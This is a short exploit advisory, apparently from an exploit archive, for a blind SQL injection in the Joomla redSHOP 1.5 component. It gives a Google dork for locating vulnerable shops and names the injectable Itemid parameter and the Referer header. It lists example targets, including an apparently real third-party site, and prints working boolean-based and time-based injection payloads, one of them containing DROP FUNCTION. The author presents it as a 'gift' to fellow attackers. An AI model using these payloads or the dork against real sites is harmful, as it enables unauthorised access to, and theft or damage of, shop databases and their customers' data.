Joomla Component redSHOP 1.5 Blind SQL Injection Vulnerability

-----------------------------------------------------------------------------
       Joomla Component redSHOP 1.5 Blind SQL Injection Vulnerability     
-----------------------------------------------------------------------------
Author....: fame
Date......: June 26 2012
Location..: USA
-----------------------------------------------------------------------------

Affected Software Description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application..: Joomla Component redSHOP 
Version......: 1.5 (Lower versions may also be affected)
Vendor.......: http://www.redcomponent.com/
Google Dork..: inurl:com_redshop
Description..: redSHOP is the leading webshop solution for Joomla - 
	The powerfull Open Source CMS with 20 million downloads till date.
	redSHOP is individually adapted to your existing Joomla website and 
	with our flexible and fully Joomla Framework support template system 
	its never been easier. The webshop is easy to use and fast to update 
	and best of all its 100% GPL licensed.

Message......: Figure I leave the scene behind with a little gift.. 
	To those who know me, see you guys in around 6 months.. Since I
	wont be gone for good, I hope when im back that you guys have a
	welcome home present for me :) SwaGGSeC/CorruptNET......FTW! 
	P.S. - this SQLi is not for Havij h4x0rs... learn to do the job the
	right way... Enjoy :)
-----------------------------------------------------------------------------

Exploit:
~~~~~~~~
	http://target.com/cart?Itemid=[SQLi]

Example:
~~~~~~~~~
	1. http://redshop.demo.redcomponent.com/cart?Itemid=1
	2. http://www.pzot.cn/index.php/component/redshop/cart?Itemid=10
	
Other Information:
~~~~~~~~~~~~~~~~~~
(1)
Place: Referer
Parameter: Referer
    Type: boolean-based blind
    Title: MySQL stacked conditional-error blind queries
    Payload: http://redshop.demo.redcomponent.com:80/cart"; IF((4464=4464),SELECT 4464,DROP FUNCTION tICJ);--  AND "tfjx"="tfjx

(2)
Place: GET
Parameter: Itemid
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: http://www.pzot.cn/index.php/component/redshop/cart?Itemid=10' AND SLEEP(5) AND 'RpWn'='RpWn


-----------------------------------------------------------------------------
+++++++++++++++++++++++++++++--Happy Hacking--+++++++++++++++++++++++++++++++
-----------------------------------------------------------------------------



#  0day.today [2018-01-05]  #